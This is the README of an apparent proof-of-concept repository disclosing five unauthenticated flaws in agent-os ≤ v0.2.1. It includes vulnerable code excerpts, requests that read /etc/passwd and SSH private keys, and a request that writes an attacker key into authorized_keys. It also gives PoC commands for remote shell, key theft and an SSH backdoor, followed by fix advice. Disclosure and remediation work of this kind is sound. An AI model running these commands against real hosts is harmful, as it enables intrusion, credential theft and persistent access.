BlessedOn3/poc-agent-os-unauth-rce
GitHub: BlessedOn3/poc-agent-os-unauth-rce
针对 agent-os ≤ v0.2.1 未授权 RCE 漏洞(CVSS 10.0)的概念验证工具集,涵盖命令执行、文件读写和 WebSocket PTY shell 等五项发现的利用脚本与修复建议。
Stars: 0 | Forks: 0
# CVE — saadnvd1/agent-os 未授权 RCE(5 项发现)
**严重性:** 严重(CVSS 3.1:10.0)
**受影响版本:** agent-os ≤ v0.2.1 (`@saadnvd1/agent-os`)
**报告人:** Mateus Gama (theblessone.sec@gmail.com)
**披露:** 协调披露 — 2026-05-27(issue #47)
## 摘要
AgentOS 暴露了一个完全未经授权的后端,包含 53 个 API 路由和一个 WebSocket
terminal endpoint。没有任何路由需要授权。默认情况下,服务器绑定到 `0.0.0.0`。
| # | 发现 | CVSS |
|---|---|---|
| 01 | 通过 WebSocket `/ws/terminal` 进行未授权 RCE | **10.0** |
| 02 | 通过 `POST /api/exec` 进行未授权 RCE | **10.0** |
| 03 | 未授权任意文件写入 | 9.6 |
| 04 | 未授权任意文件读取 | 7.5 |
| 05 | 未授权目录列举 | 7.5 |
## 发现-01 — WebSocket PTY Shell
endpoint `/ws/terminal` 会为任何连接的客户端生成一个完整的 PTY:
```
// server.ts — no auth check before upgrade
terminalWss.handleUpgrade(request, socket, head, (ws) => {
terminalWss.emit("connection", ws, request);
});
terminalWss.on("connection", (ws) => {
ptyProcess = pty.spawn(shell, [], { cwd: HOME, env: minimalEnv });
ws.on("message", (msg) => {
case "command": ptyProcess.write(msg.data + "\r"); // arbitrary shell command
});
});
```
## 发现-02 — POST /api/exec
```
// app/api/exec/route.ts
export async function POST(request: NextRequest) {
const { command } = await request.json();
const { stdout } = await execAsync(command, { shell: "/bin/zsh" });
return NextResponse.json({ output: stdout });
}
```
## 发现-03/04/05 — 文件读取 / 写入 / 目录列举
```
// No auth on any of these:
GET /api/files?path=/etc/passwd
GET /api/files/content?path=~/.ssh/id_rsa
POST /api/files/content { path: "~/.ssh/authorized_keys", content: "attacker-key" }
```
## 概念验证
```
# 快速检查 — 通过 exec endpoint 的 RCE
bash poc/exec_rce.sh http://target:3011
# 完整的 WebSocket PTY shell
python3 poc/ws_terminal.py ws://target:3011
# 窃取 SSH key
bash poc/file_read.sh http://target:3011 ~/.ssh/id_rsa
# 植入 SSH backdoor
bash poc/file_write.sh http://target:3011 ~/.ssh/authorized_keys "$(cat payloads/ssh_key.pub)"
```
## 修复方案
1. 在 `server.ts` 中将默认绑定更改为 `127.0.0.1`
2. 在首次运行时生成每个安装对应的 token(模式:Jupyter Notebook)
3. 在每个 HTTP 请求和 WebSocket 升级时要求提供 token
4. 移除或沙盒化 `POST /api/exec`
标签:CISA项目, MITM代理, 应用安全, 概念验证, 编程工具, 网络安全审计, 远程代码执行, 逆向工具